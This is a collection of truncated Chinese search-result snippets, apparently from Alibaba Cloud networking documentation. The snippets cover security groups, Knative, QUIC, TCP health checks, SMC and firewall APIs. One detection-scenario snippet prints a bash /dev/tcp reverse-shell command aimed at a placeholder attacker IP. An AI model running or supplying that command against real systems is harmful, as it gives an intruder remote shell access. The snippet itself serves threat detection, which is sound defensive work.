原因通常在于忽略了云环境下的第一层防护。请按以下顺序排查：检查安全组：这是首要排查点。登录 ECS控制台-安全组，检查实例所属的安全组，确认入方向规则已放行公网 IP 地址和端口。检查服务监听状态：在实例内部执行 ss-tunlp|grep 端口...
当queue-proxy容器探针返回成功响应并且Knative网络层配置完成，Knative将认为Pod健康并准备好提供流量。前提条件 已在ACS集群中部署Knative。具体操作，请参见 部署Knative。配置自定义监听端口 配置方式 您可以在Knative Service中配置 ...
当queue-proxy容器探针返回成功响应并且Knative网络层配置完成，Knative将认为Pod健康并准备好提供流量。前提条件 已在集群中部署Knative，请参见 部署Knative。配置自定义监听端口 配置方式 您可以在Knative Service中配置 readinessProbe...
什么是QUIC QUIC（Quick UDP Internet Connections）是一种实验性传输层网络协议，提供与TLS/SSL相当的安全性，同时具有更低的连接和传输延迟。QUIC基于UDP，因此拥有极佳的弱网性能，在丢包和网络延迟严重的情况下仍可提供可用的服务。...
本文为您介绍如何使用MQTT-TCP接入物联网平台。前提条件 启用TCP接入：2023年10月后创建的实例：设备使用TCP接入的安全风险非常高，新建的企业版实例默认关闭TCP接入方式。2023年10月前创建的实例：保持兼容，默认启用TCP接入。获取C Link ...
该集成方式对应用系统有如下两方面帮助：转发方面：WAF不参与流量转发，可避免因额外引入一层转发而带来各种兼容性和稳定性问题，并降低访问延迟。部署方面：无需修改DNS、配置证书、端口、回源算法等复杂的WAF接入转发配置，简化部署流程...
第一层 Link Kit Interface Layer 称为 SDK接口声明层。是C函数的原型声明，SDK跨平台移植完成之后，可以用于编写业务逻辑和阿里云服务器通信API。在 examples 目录提供了丰富的示例程序使用API做业务逻辑。只要填入设备信息，即可以在...
本文为您介绍视频点播CDN相关常见问题。...配置Range回源 在视频点播配置加速域名后加速资源访问速度较慢 加速域名主要是通过在现有网络中增加一层新的缓存节点，将网站服务器的资源发布到最接近用户的网络节点，使得用户侧客户端...
全球加速 GA（Global Accelerator）是一款覆盖全球的网络加速服务，依托阿里云优质BGP带宽和全球传输网络，实现全球网络就近接入，可以减少延迟、抖动、丢包等网络问题对服务质量的影响，为全球用户提供高可用和高性能的网络加速服务。...
适用场景 SMC因其设计特点，适合在如下场景中发挥优势：期望不修改用户态程序 SMC核心优势之一是不需要TCP应用程序修改即可使用RDMA技术，进而通过共享内存通信加速网络性能。但相对于通过IB verbs接口改造应用程序直接使用RDMA来说，SMC...
设置 Keepalive 参数（Linux/FreeBSD）#Keepidle:600秒 sock.setsockopt(socket.IPPROTO_TCP,socket.TCP_KEEPIDLE,600)#Keepintvl:60秒 sock.setsockopt(socket.IPPROTO_TCP,socket.TCP_KEEPINTVL,60)#Keepcount:5次 sock.setsockopt...
disabled:true match:metric:TCP_CLOSED_CONNECTIONS mode:CLIENT-disabled:false match:metric:TCP_CLOSED_CONNECTIONS mode:SERVER tagOverrides:{} providers:name:prometheus 监控指标注意事项 第一次开启：阿里云可观测监控Prometheus...
各状态含义如下所示：源站运行状态 说明 健康 源站无异常（如果您的IP源站包含多个端口，有任一端口健康即视为健康。如果您的域名源站包含多个IP，80%以上探测正常则视为健康）。部分健康 源站可能有部分异常（健康度低于80%，您可以检查源...
将7层负载均衡切换4层负载均衡 4层TCP模式下的健康检查仅仅使用TCP的三次握手实现，不会生成应用日志。如果您的业务可以切换为4层TCP模式，采用该方法可以减少应用日志的产生。风险说明 将HTTP/HTTPS模式的CLB修改为TCP模式后，CLB将只检查...
什么是QUIC QUIC（Quick UDP Internet Connections）是一种实验性传输层网络协议，提供与TLS/SSL相当的安全性，同时具有更低的连接和传输延迟。QUIC基于UDP，因此拥有极佳的弱网性能，在丢包和网络延迟严重的情况下仍可提供可用的服务。...
什么是 QUIC QUIC（Quick UDP Internet Connections）是一种实验性传输层网络协议，提供与TLS/SSL相当的安全性，同时具有更低的连接和传输延迟。QUIC基于UDP，因此拥有极佳的弱网性能，在丢包和网络延迟严重的情况下仍可提供可用的服务。...
标准型 全球加速 GA（Global Accelerator）实例提供了一张多接入地域和多源站地域的全连接网络，该网络支持四层（TCP和UDP）和七层（HTTP和HTTPS）协议加速。本文为您介绍如何创建和管理标准型GA实例。创建标准型GA实例 标准型GA实例支持 ...
工作原理 TCP健康检查 针对TCP健康检查，为了提高健康检查效率，健康检查通过定制的TCP探测来获取状态信息，健康检查原理如下图所示。TCP监听的检查机制如下：NLB实例根据监听的健康检查配置，向后端服务器的内网IP+【健康检查端口】发送...
本文介绍常见的Linux系统内核网络参数及常见问题的解决方案。注意事项 在修改内核参数前，您需要注意以下几点：从实际需求出发，尽量有相关数据的支撑，不建议您随意调整内核参数。了解参数的具体作用，需注意不同类型或...net.ipv4.tcp...
eeea34d9867b4d55a4ff8d5fcfbd*RuleProtocol string 是 传输层协议。取值范围：TCP：TCP 协议。UDP：UDP 协议。TCP+UDP：TCP 和 UDP 协议。TCP Port string 是 端口范围。端口的取值范围为 1~65535。使用正斜线（/）隔开起始端口和终止端口...
如果网站信息中的服务器端口为80，则自动生成一条转发协议为TCP、转发端口为80的规则。如果网站信息中的服务器端口为443，则自动生成一条转发协议为TCP、转发端口为443的规则。配置项 说明 转发协议 转发协议类型，可选值：TCP、UDP。重要 ...
为指定的轻量应用服务器创建一条防火墙规则。接口说明 防火墙可以控制轻量应用服务器的网络访问，用于在云端划分安全域。每台轻量应用服务器的防火墙默认放行了 22 端口（SSH 服务）、80 端口（HTTP 服务）以及 443 端口（HTTPS 加密访问...
如果应用层使用IPv6地址，会导致SMC回退到TCP协议栈。更多信息，请参见 启用SMC后使用IPv6地址出现回退。自 ANCK 5.10.134-17.3 版本开始，SMC支持使用 IPv4-mapped IPv6 地址。加载 smc 和 smc_diag 内核模块。sudo modprobe smc sudo ...
如果应用层使用IPv6地址，会导致SMC回退到TCP协议栈。更多信息，请参见 共享内存通信（SMC）常见问题。自 ANCK 5.10.134-17.3 版本开始，SMC支持使用 IPv4-mapped IPv6 地址。加载 smc 和 smc_diag 内核模块。sudo modprobe smc sudo ...
检测场景示例：案例一：#案例一（bash I/O 重定向示例）：bash-i&dev/tcp/[ATTACKER_IP]/[PORT]0&1 行为说明：利用/dev/tcp 特性建立到远端主机的 TCP 连接。将 bash 的标准输入、输出和错误全部重定向到该网络连接，实现远程交互 Shell。...
IP应用加速是阿里云自主研发的四层加速功能，基于TCP/UDP的私有协议提供加速服务。该功能可实现网络传输加速，可降低服务的延迟和提升访问的可用性。如果您希望为某个特定的业务域名启用IP应用加速功能，请按照本文操作开通IP应用加速服务...
协议类型 传输层协议 支持TCP、UDP、ICMP和ANY。不确定具体协议类型时可选择 ANY。所有策略：支持所有类型。端口 目的端口 对访问流量经过的端口进行访问控制，支持端口和端口地址簿。ICMP协议不支持配置端口。ANY协议若需要命中ICMP协议...
Protocol string 否 转发规则协议，支持：TCP：TCP 协议。UDP：UDP 协议。TCP EdgePort string 否 边缘端口。支持：单个端口，例如 80。端口范围，例如 81-85，代表端口 81、82、83、84、85。端口和端口范围组合，端口、端口范围之间用逗号...
表示Wireshark可以把属于同一个应用层PDU的TCP包虚拟的集中起来。处理方案：需要在软件中设置，选择 Edit Preferences Protocol TCP，确认启用“Allow sub dissector to reassemble TCP streams”，ACK确认包号是相同的。[Continuation to#...
展开匹配规则 访问源 目的 协议类型 端口 应用 匹配规则一 203.0.113.0/24 106.XX.XX.5 TCP 0/0 MySQL 匹配规则二 203.0.113.0/24 106.XX.XX.6 TCP 0/0 MySQL 当域名识别类型选择 同时基于FQDN和DNS动态解析，此时应用仅能选择 HTTP 、...
报文特征过滤：基于会话报文payload特征，对正常业务特征或攻击报文特征进行精准识别和防护，也可基于应用层协议进行相关的匹配策略配置。说明 仅DDoS高防（中国内地）的增强版套餐的IPv4高防IP支持配置。白名单：基于端口维度设置白名单，...
2025年07月 功能名称 变更类型 功能概述 相关链接 GWLB支持配置TCP连接空闲超时时间 更新 您可以在GWLB的IP监听中自定义TCP连接空闲超时时间，灵活调整无数据传输时的连接保持时长。该能力仅在关联调度算法为五元组哈希的后端服务器组时...
eeea34d9867b4d55a4ff8d5fcfbd*RuleProtocol string 否 传输层协议。可能值：TCP：TCP 协议。UDP：UDP 协议。TCP+UDP：TCP 和 UDP 协议。ICMP：ICMP 协议。TCP Port string 否 端口范围。端口的取值范围为 1~65535。使用正斜线（/）隔开...
本文介绍如何在负载均衡控制台上开通秒级监控功能，将负载均衡4层秒级监控指标推送到日志服务中。前提条件 已创建负载均衡实例。具体操作，请参见 创建实例。已为负载均衡实例配置TCP监听或UDP监听。具体操作，请参见 添加TCP监听、添加UDP...
IP应用加速：⽹络四层协议加速，使⽤TCP和UDP传输，可加速基于TCP和UDP上的应⽤，可⾃定义端⼝。如邮箱协议、FTP传输和HTTPS协议等。全站加速：⽹络七层协议加速，⽀持HTTP和HTTPS加速，可⽤端⼝为80和443。IP应用加速是否能加速HTTP和...
说明 tcpclean 消息代表客户端网络层连接的真实断开。对应的，disconnect 消息仅仅代表客户端是主动发送了下线报文。受限于客户端的实现，有时候客户端异常退出会导致 disconnect 消息并没有正常发送。因此判断客户端下线请使用 tcpclean ...
在网络层可直接看到来源地址。数据传输慢。适用于注重可靠性，对数据准确性要求高，速度可以相对较慢的场景，例如文件传输、发送或接收邮件、远程登录。无特殊要求的Web应用。UDP 面向非连接的协议，可靠性低。在数据发送前不与对方进行三...
当您使用CLB七层监听时，可通过X-Forwarded-For字段获取客户端真实IP，可参考 后端服务器通过CLB七层监听获取客户端真实IP。当您使用ALB时，可通过X-Forwarded-For字段获取客户端真实IP，可参考 后端服务器通过ALB获取客户端真实IP。
RuleProtocol string 传输层协议。可能值：TCP：TCP 协议。UDP：UDP 协议。TCP+UDP：TCP 和 UDP 协议。ICMP：ICMP 协议。TCP Port string 端口范围。端口的取值范围为 1~65535。使用正斜线（/）隔开起始端口和终止端口，例如：1024/1055 ...
网络架构 本地数据中心网络拓扑 典型的本地IDC网络拓扑如图所示，采用三层网络架构，IDC服务器与交换机构建二层局域网，多个二层局域网构建成一个三层网络域，从而形成一个私网网段为10.0.0.0/8的IDC网络环境。云端专有网络VPC拓扑 云上...